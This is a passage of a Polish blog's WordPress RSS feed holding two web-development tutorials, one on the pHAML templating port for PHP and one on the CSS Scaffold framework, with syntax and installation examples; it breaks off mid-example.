<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Vivee - wordpress, webmastering, grafika i fotografia &#187; Skrypty server-side</title>
	<atom:link href="http://vivee.info/category/tutoriale/webmaster/skrypty-server-side-webmaster-tutoriale/feed/" rel="self" type="application/rss+xml" />
	<link>http://vivee.info</link>
	<description>Blog o wordpress, webmasteringu, grafice i fotografii.</description>
	<lastBuildDate>Sat, 01 Jan 2011 22:14:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>pHAML &#8211; inne spojrzenie na rozlazłego HTML&#8217;a</title>
		<link>http://vivee.info/2010/05/16/phaml-inne-spojrzenie-na-rozlazlego-htmla/</link>
		<comments>http://vivee.info/2010/05/16/phaml-inne-spojrzenie-na-rozlazlego-htmla/#comments</comments>
		<pubDate>Sun, 16 May 2010 01:02:42 +0000</pubDate>
		<dc:creator>palmiak</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[XHTML/CSS]]></category>
		<category><![CDATA[haml]]></category>
		<category><![CDATA[phaml]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=1971</guid>
		<description><![CDATA[Ostatnio chwaliłem się fajną zabawką do CSS, a mianowicie CSS Scaffold. Dziś zaś przyszła pora na zrobienie czegoś z HTML'em. HAML jest głównie znany osobom, które używają RoRa. Ja taką osobą nie jestem, więc przez długi czas omijałem temat szerokim łukiem. Jednak któregoś dnia szlag mnie trafił i postanowiłem coś w końcu zrobić, bo efekt [...]]]></description>
			<content:encoded><![CDATA[<p>Ostatnio chwaliłem się fajną zabawką do CSS, a mianowicie CSS Scaffold. Dziś zaś przyszła pora na zrobienie czegoś z HTML'em. HAML jest głównie znany osobom, które używają RoRa. Ja taką osobą nie jestem, więc przez długi czas omijałem temat szerokim łukiem.<span id="more-1971"></span></p>
<p>Jednak któregoś dnia szlag mnie trafił i postanowiłem coś w końcu zrobić, bo efekt mieszania php i HTML'a na dłuższą metę jest tragiczny. Człowiek się gubi gdzie się pętle zaczynają, gdzie kończą i ogólnie jest bajzel. Okazało się, że ktoś był na tyle miły, żeby przeportować HAMLa na php i tak oto powstał pHAML. W porównaniu z oryginałem są pewne różnice, jednak to co najważniejsze zostało zachowane.</p>
<h2>Pierwsze starcie</h2>
<p> Dzięki pHAML kod ulega dość imponującemu skróceniu. Dla przykładu zobaczmy różnicę między w 'Hello world':</p>
<div class="html dean_ch" style="white-space: nowrap;">
<span class="sc0">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;</span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;html&amp;gt;.html"><span class="kw2">&lt;html&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;head&amp;gt;.html"><span class="kw2">&lt;head&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;title&amp;gt;.html"><span class="kw2">&lt;title&gt;</span></span></a></span>hello<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/title&amp;gt;.html"><span class="kw2">&lt;/title&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/head&amp;gt;.html"><span class="kw2">&lt;/head&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;body&amp;gt;.html"><span class="kw2">&lt;body&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;p&amp;gt;.html"><span class="kw2">&lt;p&gt;</span></span></a></span>Hello world<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/p&amp;gt;.html"><span class="kw2">&lt;/p&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/body&amp;gt;.html"><span class="kw2">&lt;/body&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/html&amp;gt;.html"><span class="kw2">&lt;/html&gt;</span></span></a></span><br />
&nbsp;</div>
<div class="html dean_ch" style="white-space: nowrap;">
!!! Strict<br />
%html<br />
&nbsp; &nbsp; %head<br />
&nbsp; &nbsp; &nbsp; &nbsp; %title hello<br />
&nbsp; &nbsp; %body<br />
&nbsp; &nbsp; &nbsp; &nbsp; %p hello world<br />
&nbsp;</div>
<p>Przeanalizujmy linijka po linijce.<br />
<code>!!! Strict</code> to nic innego jak doctype (koniec kopiowania tego cholerstwa za każdym razem)<br />
<code>%html %head etc</code> - po prostu tagi, tyle że zamiast ich zamykać używamy wcięć.</p>
<p>Na pierwszy rzut wygląda to dziwnie, ale chwila wprawy i zaczyna być fajnie.</p>
<h2>Parametry</h2>
<p>Przekazywanie parametrów odbywać się może na kilka sposobów. Najbardziej uniwersalnym jest:</p>
<div class="html dean_ch" style="white-space: nowrap;">
%p{class=&quot;jaka_klasa jakas_inna_klasa&quot; id=&quot;unikalny_id&quot; style=&quot;color:red&quot;}<br />
&nbsp;</div>
<p>Jak się zapewne domyślacie w rezultacie otrzymamy:</p>
<div class="html dean_ch" style="white-space: nowrap;">
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;p.html"><span class="kw2">&lt;p</span></span></a> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;jaka_klasa jakas_inna_klasa&quot;</span> <span class="kw3">id</span><span class="sy0">=</span><span class="st0">&quot;unikalny_id&quot;</span> <span class="kw3">style</span><span class="sy0">=</span><span class="st0">&quot;color:red&quot;</span>&gt;&lt;<span class="sy0">/</span>p&gt;</span><br />
&nbsp;</div>
<p>Klasy i idy możemy jednak przekazywać w troszkę krótszej formie:</p>
<div class="html dean_ch" style="white-space: nowrap;">
%p.jaka_klasa.jakas_inna_klasa#unikalny_id{style=&quot;color:red&quot;}<br />
&nbsp;</div>
<p>Po prostu po kropkach wymieniamy klasy a po # id.</p>
<p>Pewnym wyjątkiem jest div, gdzie nie trzeba pisać nazwy taga:</p>
<div class="html dean_ch" style="white-space: nowrap;">
.jaka_klasa.jakas_inna_klasa#unikalny_id{style=&quot;color:red&quot;}<br />
&nbsp;</div>
<p>jest równoznaczne z:</p>
<div class="html dean_ch" style="white-space: nowrap;">
%div.jaka_klasa.jakas_inna_klasa#unikalny_id{style=&quot;color:red&quot;}<br />
&nbsp;</div>
<h2>Kilka przykładów na potwierdzenie, że HAML fajny jest</h2>
<p>Do myków, które mi się strasznie podobają należą na pewno listy:</p>
<div class="html dean_ch" style="white-space: nowrap;">
%ul<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %li raz<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %li dwa<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %li trzy<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %li<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %ul<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %li trzy jeden<br />
&nbsp;</div>
<p>W końcu wygląda to czytelnie, szczególnie zagnieżdżenia.</p>
<p>Bardzo przyjemnie wyglądają też tabele:</p>
<div class="html dean_ch" style="white-space: nowrap;">
%table<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %tr<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %th id<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %th imię<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %th nazwisko<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %tr<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %td 1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %td maciek<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %td kowalski<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %tr<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %td 2<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %td andrzej<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %td nowak<br />
&nbsp;</div>
<h2>Znaki specjalne</h2>
<p><code>\</code> - wyświetla wiersz dosłownie taki jaki jest.<br />
<code>&lt;&lt;&lt;</code> oraz <code>&gt;&gt;&gt;</code> - wyświetla zawartość dokładnie taką jaką jest znajdującą się między tymi znakami<br />
<code>/</code> - zamienia wiersz na typowy htmlowy komentarz<br />
<code>//</code> - komentarz, ale niewidzoczny w htmlu</p>
<h2>A jak tu php wrzucić?</h2>
<p>Najprościej mówiąc - za pomocą myślnika:</p>
<div class="html dean_ch" style="white-space: nowrap;">
- for($x=1; $<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;.html"><span class="kw2">&lt;</span></span></a><span class="sy0">=</span><span class="nu0">1</span> ;$x++ <span class="br0">&#123;</span></span><br />
<span class="sc2"> &nbsp; &nbsp;%p hello</span><br />
<span class="sc2">- <span class="br0">&#125;</span></span><br />
&nbsp;</div>
<p>to nic innego jak:</p>
<div class="php dean_ch" style="white-space: nowrap;">
<span class="kw2">&lt;?php</span> <span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$x</span>=<span class="nu0">1</span>; $<span class="sy0">&lt;</span>=<span class="nu0">1</span> ;<span class="re0">$x</span>++ <span class="br0">&#123;</span> <span class="kw2">?&gt;</span><br />
<span class="sy0">&lt;</span>p<span class="sy0">&gt;</span>hello<span class="sy0">&lt;/</span>p<span class="sy0">&gt;</span><br />
<span class="kw2">&lt;?php</span> <span class="br0">&#125;</span> <span class="kw2">?&gt;</span><br />
&nbsp;</div>
<p>Jednak różnica jeśli chodzi o czytelność dość spora.</p>
<h2>Wywoływanie</h2>
<p>Pokazałem już jak pisanie w HAMLu wygląda, teraz czas to jakoś uruchomić. Najpierw pobieramy ze strony twórcy odpowiednie <a href="http://sourceforge.net/projects/phaml/">archiwum</a>. Następny krok to rozpakowanie zipa.</p>
<p>Kiedy już wszystko mamy przygotowane tworzymy sobie plik np test.php a w nim piszemy:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span> <span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">'class.pHAML.php'</span><span class="br0">&#41;</span>;<br />
<span class="re0">$template</span> =<span class="st0">'!!! Strict<br />
%html<br />
&nbsp; &nbsp; %head<br />
&nbsp; &nbsp; &nbsp; &nbsp; %title hello<br />
&nbsp; &nbsp; %body<br />
&nbsp; &nbsp; &nbsp; &nbsp; - for($i=0;$i&lt;=10;$i++){<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %p<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - echo $i.&quot;&lt;br/&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; - }<br />
'</span>;<br />
<span class="re0">$pHAML</span> = <span class="kw2">new</span> HAMLatin<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$content</span> = <span class="re0">$pHAML</span>-<span class="sy0">&gt;</span><span class="me1">render</span><span class="br0">&#40;</span><span class="re0">$template</span><span class="br0">&#41;</span>;<br />
<span class="re0">$content</span> = <span class="re0">$pHAML</span>-<span class="sy0">&gt;</span><span class="me1">renderPHP</span><span class="br0">&#40;</span><span class="re0">$content</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$content</span>;<br />
&nbsp;</div>
<p>Całą treść przypisujemy sobie do jakiejś zmiennej a potem przekazujemy jako parametry dla render i renderPHP.</p>
<p>Jeżeli uzywamy tylko htmla, nie jest potrzebna linijka <code>$content = $pHAML->renderPHP($content);</code>.</p>
<p>Zachęcam do zabawy, bo wywoływanie tego można zrobić na wiele wygodniejszych sposobów.</p>
<h2>Drobne bugi</h2>
<p>Wersja dostępna na <a href="http://phaml.sourceforge.net/">phaml.sourceforge.net</a> ma w sumie dwie wady. Jedna to taka, że wszystkie tagi traktuje jako podwójne, a druga, że stosuje notację htmlową, a nie xhtmlową.</p>
<p>Na szybko poprawiłem te dwie rzeczy i tagi pojedyncze zamyka poprawnie, a kwestię html/xhtml rozwiązałem poprzez dopisanie zmiennej $is_xhtml. Uprzedzam, że były to poprawki na szybko lecz nie zauważyłem żeby coś nie działało/działało źle. Plik do pobrania <a href="http://pliki.vivee.info/users/palmiak/phaml/class.pHAML_091.zip">stąd</a>.</p>
<h2>Podsumowanie</h2>
<p>Muszą przyznać, że (p)HAML jest fajnym wynalazkiem. Strasznie upraszcza widok HTMLa. Szkoda jednak, że pod PHP nie ukazała się żadna porządna i ciągle rozwijana implementacja (ta prezentowana tutaj nie sprawia już wrażenie rozwijanej) Pod tym względem muszę przyznać, że jest to coś czego programistom od Ruby'ego można pozazdrościć.</p>
<p>A Wy jakie znacie i polecacie substytuty zwykłego (x)HTML'a?</p>
<img src="http://vivee.info/?ak_action=api_record_view&id=1971&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2010%2F05%2F16%2Fphaml-inne-spojrzenie-na-rozlazlego-htmla%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2010/05/16/phaml-inne-spojrzenie-na-rozlazlego-htmla/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>CSS Scaffold &#8211; czyli CSS po ludzku</title>
		<link>http://vivee.info/2010/04/23/css-scaffold-czyli-css-po-ludzku/</link>
		<comments>http://vivee.info/2010/04/23/css-scaffold-czyli-css-po-ludzku/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 09:18:25 +0000</pubDate>
		<dc:creator>palmiak</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[XHTML/CSS]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=1864</guid>
		<description><![CDATA[Arkusze stylu pisuję dość często - taka praca. W sumie nawet to przyjemne. Kłopoty pojawiają się gdy zaglądam po dłużym okresie czasu i dochodzę do wniosku, że jestem zupełnie zagubiony i po prostu dopisuję jakiegoś ida na końcu. I tak się pojawia bałagan. Próbowałem pisać style wieloma metodami, niestety problem w pewnym momencie zawsze się [...]]]></description>
			<content:encoded><![CDATA[<p>Arkusze stylu pisuję dość często - taka praca. W sumie nawet to przyjemne. Kłopoty pojawiają się gdy zaglądam po dłużym okresie czasu i dochodzę do wniosku, że jestem zupełnie zagubiony i po prostu dopisuję jakiegoś ida na końcu. I tak się pojawia bałagan. Próbowałem pisać style wieloma metodami, niestety problem w pewnym momencie zawsze się pojawiał, aż do odkrycia <strong>CSS Scaffold</strong>.<span id="more-1864"></span></p>
<p><strong>CSS Scaffold</strong>, jak opisuje autor, jest CSSowym frameworkiem napisanym w PHP. Tyle, że w przeciwieństwie do innych CSSowych frameworków (960, Blueprint) zmiast ograniczać rozszerza możliwości styli. Brzmi fajnie? Ba - jest fajne, jest po prostu bardzo fajne.</p>
<h2>Wymagania i instalacja</h2>
<p>Jedyne czego będziemy potrzebować to PHP 5+. </p>
<p>Instalacja może być dla niektórych troszkę upierdliwa. W sumie jednak ogranicza się do pobrania najnowszej wersji ze <a href="http://github.com/anthonyshort/csscaffold/downloads">strony</a>, rozpakowania oraz przekopiowania z archiwum katalogu (<strong>katalogu</strong>, a nie zawartości) scaffold do katalogu w którym będziemy trzymać arkusze stylu. Czasem(zależne od serwera) trzeba katalogom cache i logs nadać prawa 777.</p>
<p>W praktyce układ katalogów powinien wyglądać następująco:</p>
<p class="insp">
<img src="http://pliki.vivee.info/users/palmiak/scaffold/scaffold_pliki.png" alt="CSS Scaffold - czyli CSS po ludzku" />
</p>
<p>Osoby które chcą, żeby adresy do CSSów wyglądały normalnie muszą jeszcze w katalogu w którym trzymają CSS utworzyć plik .htaccess a w nim wkleić</p>
<div class="php dean_ch" style="white-space: nowrap;">&nbsp;<span class="sy0">&lt;</span>IfModule mod_rewrite.c<span class="sy0">&gt;</span><br />
RewriteEngine &nbsp; on<br />
RewriteCond &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy0">%</span><span class="br0">&#123;</span>REQUEST_FILENAME<span class="br0">&#125;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -f<br />
RewriteCond &nbsp; &nbsp; <span class="sy0">%</span><span class="br0">&#123;</span>REQUEST_URI<span class="br0">&#125;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\.css$<br />
RewriteRule &nbsp; &nbsp; ^<span class="br0">&#40;</span>.+<span class="br0">&#41;</span>$ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;scaffold<span class="sy0">/</span>index.php?f=<span class="sy0">%</span><span class="br0">&#123;</span>REQUEST_URI<span class="br0">&#125;</span><span class="sy0">&amp;%</span><span class="br0">&#123;</span>QUERY_STRING<span class="br0">&#125;</span><br />
<span class="sy0">&lt;/</span>IfModule<span class="sy0">&gt;</span></div>
<p>Żeby zrobić próbę czy wszystko działa należy w naszym katalogu z CSSami (dla przykładu będzie to katalog css) utworzyć plik test.css a w nim napisać (zagnieżdzenie jest poprawne - dojdziemy do tego):</p>
<div class="css dean_ch" style="white-space: nowrap;">body <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">color</span><span class="re2">:red</span><span class="sy0">;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">color</span><span class="re2">:blue</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p>i wywołać w przeglądarce albo adres_strony/css/scaffold/index.php?f=css/test.css albo, jeżeli użyliśmy regułki w .htaccess, adres_strony/css/test.css. Jeżeli przywita Was komunikat, że nie może znaleźć pliku pomajstrujcie przy ścieżce.</p>
<p>Jeżeli jednak wszystko zadziałało ok to powinniście zobaczyć następujący styl:</p>
<div class="css dean_ch" style="white-space: nowrap;">body<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">color</span><span class="sy0">:</span> <span class="kw2">red</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></p>
<p>body a<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">color</span><span class="sy0">:</span> <span class="kw1">blue</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>Bazując na naszym obrazku i zakładając, że nasz adres to test.pl ścieżką do stylu będzie albo http://test.pl/css/scaffold/index.php?f=css/style.css lub http://test.pl/css/style.css.</p>
<p>Jeżeli wszystko działa na naszej stronie wklejamy:
<div class="html dean_ch" style="white-space: nowrap;">
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;link.html"><span class="kw2">&lt;link</span></span></a> <span class="kw3">rel</span><span class="sy0">=</span><span class="st0">&quot;stylesheet&quot;</span> <span class="kw3">href</span><span class="sy0">=</span><span class="st0">&quot;css/scaffold/index.php?f=css/style.css&quot;</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;text/css&quot;</span> <span class="sy0">/</span><span class="sy0"><a href="http://december.com/html/4/element/&amp;gt;.html"><span class="kw2">&gt;</span></span></a></span> <br />
&nbsp;</div>
<p>lub</p>
<div class="html dean_ch" style="white-space: nowrap;">
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;link.html"><span class="kw2">&lt;link</span></span></a> <span class="kw3">rel</span><span class="sy0">=</span><span class="st0">&quot;stylesheet&quot;</span> <span class="kw3">href</span><span class="sy0">=</span><span class="st0">&quot;css/style.css&quot;</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;text/css&quot;</span> <span class="sy0">/</span><span class="sy0"><a href="http://december.com/html/4/element/&amp;gt;.html"><span class="kw2">&gt;</span></span></a></span> <br />
&nbsp;</div>
<p>Jeżeli wolicie możecie użyć ścieżek absolutnych.</p>
<p>Na koniec drobne ale. Jeżeli nie używacie .htaccess i planujecie używać pierwszej wersji to w przypadku gdy nasza strona znajduje się na tym test.pl w katalogu moja_stronka to ścieżka do stylu będzie wyglądać następująco http://test.pl/moja_stronka/css/scaffold/index.php?f=moja_stronka/css/style.css</p>
<h2>Zagnieżdżenia</h2>
<p>Jak już zauważyliście w poprzednim przykładzie możemy zagnieżdżać kolejne regułki. Dla przykładu kod na listę nieuporządkowaną z linkami i bez kropek.</p>
<div class="css dean_ch" style="white-space: nowrap;">ul <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">list-style</span><span class="re2">:none</span><span class="sy0">;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; li <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">5px</span><span class="sy0">;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">text-decoration</span><span class="re2">:none</span><span class="sy0">;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &amp;<span class="re2">:hover</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">font-weight</span><span class="re2">:bold</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p>wypluje to nam oczywiście:</p>
<div class="css dean_ch" style="white-space: nowrap;">ul<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">list-style</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></p>
<p>ul li<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">5px</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></p>
<p>ul li a<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">text-decoration</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></p>
<p>ul li a<span class="re2">:hover</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">font-weight</span><span class="sy0">:</span> <span class="kw2">bold</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<h2>Stałe</h2>
<p>To jest jedna z tych funkcji za które bardzo polubiłem CSS Scaffold. Bardzo często się zdarza, że klient sobie wymyśli, że kolor czcionki, który to użyliśmy w wielu miejscach jest jednak do bani i chce inny. Znajdź/zastąp i jedziemy, ale tu mozna prościej. Jeżeli używamy jednego koloru to zdefinijmy go jako stałą i najwyżej poprawiajmy w jednym miejscu.</p>
<p>Wystarczy w naszym CSS napisać:</p>
<div class="css dean_ch" style="white-space: nowrap;"><span class="co1">@constants{</span><br />
kolor_tekstu<span class="sy0">:</span> <span class="re0">#ccc</span><span class="sy0">;</span><br />
kolor_ramki<span class="sy0">:</span> <span class="kw2">red</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>a następnie gdy chcemy skorzystać:</p>
<div class="css dean_ch" style="white-space: nowrap;">
body <span class="br0">&#123;</span><br />
<span class="kw1">color</span><span class="sy0">:</span>$kolor_tekstu<span class="sy0">;</span><br />
<span class="kw1">border</span><span class="re2">:<span class="re3">1px</span></span> <span class="kw2">solid</span> $kolor_ramki<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<h2>Mixins</h2>
<p>Czasem zamiast jednego koloru byśmy chcieli wstawiać pewne stałe fragmenty kodu. Nic trudnego:</p>
<div class="css dean_ch" style="white-space: nowrap;">
=test <span class="br0">&#123;</span><br />
<span class="kw1">color</span><span class="re2">:red</span><span class="sy0">;</span><br />
<span class="kw1">font-weight</span><span class="re2">:bold</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>Żeby teraz ten kod wkleić wystarczy do jakiejś naszej regułki dopisać:</p>
<div class="css dean_ch" style="white-space: nowrap;">
body <span class="br0">&#123;</span><br />
+test<span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>W rezultacie otrzymamy:</p>
<div class="css dean_ch" style="white-space: nowrap;">body<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">color</span><span class="sy0">:</span> <span class="kw2">red</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">font-weight</span><span class="sy0">:</span> <span class="kw2">bold</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>Prawdziwa siła tkwi jednak w mozliwości parametryzacji. Jeżeli na stronie wszystkie nasze bordery są tego samego stylu i wielkości a tylko kolor się różni to wystarczy nam:</p>
<div class="css dean_ch" style="white-space: nowrap;">=ramka<span class="br0">&#40;</span>$kolor<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">border</span><span class="re2">:<span class="re3">1px</span></span> <span class="kw2">solid</span> $kolor<span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>A wywołamy to następująco:
<div class="css dean_ch" style="white-space: nowrap;"><span class="re0">#test1</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; +ramka<span class="br0">&#40;</span><span class="kw2">red</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
&nbsp;<br />
<span class="re0">#test2</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; +ramka<span class="br0">&#40;</span><span class="kw1">blue</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>W rezultacie otrzymamy:
<div class="css dean_ch" style="white-space: nowrap;"><span class="re0">#test1</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="kw2">red</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">#test2</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="kw1">blue</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span></div>
<p>Możlwe jest jeszcze ustalenie wartości domyślnej:
<div class="css dean_ch" style="white-space: nowrap;">=ramka<span class="br0">&#40;</span>$kolor=<span class="kw1">black</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
